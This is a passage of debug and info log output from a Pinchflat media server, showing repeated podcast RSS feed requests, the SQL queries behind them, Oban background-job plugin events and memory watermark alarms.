s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:38:52.526 [debug] QUERY OK source="media_metadata" db=40.2ms queue=0.3ms idle=1273.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:38:52.560 [info] Sent 200 in 228ms 14:38:55.755 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 14:38:57.504 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.094 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:39:27.506 [info] {"source":"oban","duration":1719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:49.408 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:39:49.408 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:39:49.409 [debug] QUERY OK source="sources" db=0.7ms idle=1197.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:39:49.411 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=1151.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:39:49.413 [debug] QUERY OK source="source_metadata" db=0.5ms idle=201.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:39:49.414 [debug] QUERY OK source="media_metadata" db=0.6ms idle=202.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:39:49.414 [info] Sent 200 in 6ms 14:39:57.510 [info] {"source":"oban","duration":1837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.096 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:40:27.512 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:57.514 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.098 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:41:27.516 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:55.752 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 14:41:57.519 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.101 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:42:27.536 [info] {"source":"oban","duration":16488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:57.538 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:00.102 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:43:27.540 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:57.542 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.104 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:44:06.483 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:44:06.483 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:44:06.485 [debug] QUERY OK source="sources" db=0.8ms idle=1198.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:44:06.487 [debug] QUERY OK source="media_items" db=0.9ms queue=0.4ms idle=1200.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:44:06.507 [debug] QUERY OK source="source_metadata" db=18.2ms idle=1203.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:44:06.508 [debug] QUERY OK source="media_metadata" db=0.8ms idle=1222.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:44:06.510 [info] Sent 200 in 26ms 14:44:10.470 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:44:10.470 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:44:10.472 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=200.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:44:10.474 [debug] QUERY OK source="media_items" db=1.1ms queue=0.3ms idle=187.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:44:10.476 [debug] QUERY OK source="source_metadata" db=0.5ms idle=190.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:44:10.477 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.4ms idle=191.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:44:10.506 [info] Sent 200 in 35ms 14:44:27.544 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:57.546 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.107 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:45:27.549 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:57.551 [info] {"source":"oban","duration":1697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.108 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:46:27.554 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:57.556 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:00.110 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:47:27.558 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:57.561 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.113 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:48:27.564 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:46.900 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:48:46.900 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:48:46.902 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1588.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:48:46.904 [debug] QUERY OK source="media_items" db=1.5ms queue=0.4ms idle=1589.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:48:46.927 [debug] QUERY OK source="source_metadata" db=22.0ms idle=799.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:48:46.928 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.1ms idle=615.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:48:46.929 [info] Sent 200 in 29ms 14:48:55.841 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 14:48:57.567 [info] {"source":"oban","duration":1655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.115 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:49:09.311 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:49:09.312 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:49:09.314 [debug] QUERY OK source="sources" db=0.7ms queue=0.7ms idle=1000.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:49:09.317 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=152.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:49:09.320 [debug] QUERY OK source="source_metadata" db=1.8ms idle=6.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:49:09.321 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=8.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:49:09.322 [info] Sent 200 in 10ms 14:49:27.625 [info] {"source":"oban","duration":57121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:57.627 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.117 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:50:27.629 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:57.632 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.118 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:51:27.635 [info] {"source":"oban","duration":2018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:55.862 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 14:51:57.637 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:00.121 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:52:27.639 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:57.641 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.122 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:53:22.190 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:53:22.191 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:53:22.192 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=824.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:53:22.277 [debug] QUERY OK source="media_items" db=83.1ms queue=0.8ms idle=825.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:53:22.281 [debug] QUERY OK source="source_metadata" db=0.2ms idle=913.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:53:22.282 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.2ms idle=914.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:53:22.283 [info] Sent 200 in 92ms 14:53:27.643 [info] {"source":"oban","duration":1623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:57.646 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.124 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:54:27.649 [info] {"source":"oban","duration":1818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:34.207 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:54:34.207 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:54:34.209 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1042.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:54:34.212 [debug] QUERY OK source="media_items" db=0.9ms queue=0.8ms idle=842.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:54:34.214 [debug] QUERY OK source="source_metadata" db=0.8ms idle=846.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:54:34.216 [debug] QUERY OK source="media_metadata" db=1.2ms queue=0.1ms idle=847.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:54:34.218 [info] Sent 200 in 11ms 14:54:57.651 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.125 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:55:27.655 [info] {"source":"oban","duration":2216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:57.657 [info] {"source":"oban","duration":1789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.127 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:56:27.660 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:57.662 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.130 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:57:27.664 [info] {"source":"oban","duration":1758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:57.667 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.132 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:58:16.800 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:58:16.801 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:58:16.802 [debug] QUERY OK source="sources" db=0.7ms idle=1434.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:58:16.856 [debug] QUERY OK source="media_items" db=14.7ms queue=38.6ms idle=1435.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:58:16.857 [debug] QUERY OK source="source_metadata" db=0.4ms idle=1489.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:58:16.858 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.1ms idle=1093.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:58:16.860 [info] Sent 200 in 59ms 14:58:27.669 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:55.977 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 14:58:57.672 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.133 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:59:27.721 [info] {"source":"oban","duration":48050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:57.723 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.135 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:00:09.203 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:00:09.203 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:00:09.205 [debug] QUERY OK source="sources" db=0.9ms idle=1837.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", 